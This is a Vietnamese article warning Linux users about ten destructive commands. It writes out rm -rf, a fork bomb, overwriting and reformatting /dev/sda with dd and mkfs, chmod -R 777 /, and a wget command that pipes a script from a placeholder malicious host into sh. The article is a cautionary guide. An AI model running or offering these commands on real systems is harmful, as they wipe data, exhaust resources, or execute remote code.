Bài tập

10 lệnh nguy hiểm trên Linux mà bạn không nên thực thi

Huy Erick

Giao diện command-line là một tiện ích mạnh mẽ và tiện dụng để quản trị hệ thống Linux. Nó giúp vận hành hệ thống một cách nhanh chóng và linh hoạt, đặc biệt là khi...

Giao diện command-line là một tiện ích mạnh mẽ và tiện dụng để quản trị hệ thống Linux. Nó giúp vận hành hệ thống một cách nhanh chóng và linh hoạt, đặc biệt là khi quản lý các hệ thống không có giao diện đồ họa. Tuy nhiên, cần hết sức thận trọng với các lệnh mà bạn thực thi trên giao diện command-line, vì có những lệnh nguy hiểm có thể gây thiệt hại không thể phục hồi cho hệ thống của bạn.

10 lệnh nguy hiểm trên Linux

1. rm -rf

Lệnh rm được sử dụng để xóa các tệp và thư mục trên hệ thống Linux. Tuy nhiên, khi sử dụng lệnh này, cần cẩn thận vì một lỗi đánh máy hoặc sự nhầm lẫn nhỏ có thể dẫn đến hủy hoại hệ thống của bạn. Khi được thực thi với quyền root và tùy chọn -rf, lệnh rm -rf sẽ xóa tất cả các tệp và thư mục trên hệ thống của bạn, bắt đầu từ thư mục gốc. Điều này có nghĩa là hệ thống của bạn sẽ bị hỏng và không thể khôi phục được.

2. Lệnh :(){:|:&};:

Lệnh này còn được gọi là fork bomb, là một dạng tấn công DoS (Denial-of-Service). Khi thực thi, lệnh này sẽ liên tục tạo bản sao của chính nó, dẫn đến việc tiêu tốn tài nguyên của hệ thống. Rất may, bạn có thể tự bảo vệ mình khỏi cuộc tấn công này bằng cách giới hạn số lượng process chạy ở mức khoảng 4000.

3. Lệnh > /dev/sda

Lệnh này ghi đè dữ liệu lên ổ cứng của bạn, dẫn đến hư hỏng hệ thống và không thể khôi phục được.

4. mv folder /dev/null

Lệnh này di chuyển thư mục hoặc tệp sang /dev/null, một loại tệp đặc biệt được gọi là "lỗ đen". Bất cứ thứ gì được chuyển đến /dev/null sẽ bị loại bỏ và phá hủy.

5. wget http://malicious_source -O- | sh

Lệnh wget được sử dụng để tải xuống tệp từ web hoặc máy chủ. Lệnh trên tải xuống tập lệnh từ một nguồn độc hại sau đó thực thi tập lệnh đó.

6. mkfs.ext3 /dev/sda

Lệnh mkfs được sử dụng để format ổ cứng, tương tự như việc format ổ đĩa trên hệ điều hành Windows. Mọi dữ liệu trên ổ cứng sẽ bị xóa hết.

7. > file

Tệp > xóa sạch nội dung của tệp và để trống. Điều này đồng nghĩa với lệnh cat /dev/null > file. Cần thận trọng khi sử dụng các toán tử chuyển hướng trong hệ thống Linux.

8. ^foo^bar

Lệnh này cho phép bạn chỉnh sửa các lệnh đã thực hiện trước đó và thực thi lại chúng. Tuy nhiên, cẩn thận với việc không để ý đến những thay đổi được thực hiện đối với các lệnh trước khi thực thi chúng.

9. dd if=/dev/random of=/dev/sda

Lệnh này xóa sạch khối /dev/sda và ghi dữ liệu ngẫu nhiên vào khối. Hệ thống của bạn sẽ không nhất quán và không thể khôi phục được.

10. Chmod -R 777 /

Lệnh này cung cấp cho tất cả người dùng trên hệ thống quyền đọc, ghi và thực thi dữ liệu. Điều này có thể làm lộ các file quan trọng bên trong hệ thống và gây ra rủi ro bảo mật lớn.

Hãy cẩn thận và hiểu rõ công cụ mạnh mẽ của giao diện command-line trong Linux. Sử dụng những lệnh trên một cách cẩn thận để tránh hủy hoại hệ thống của bạn.

1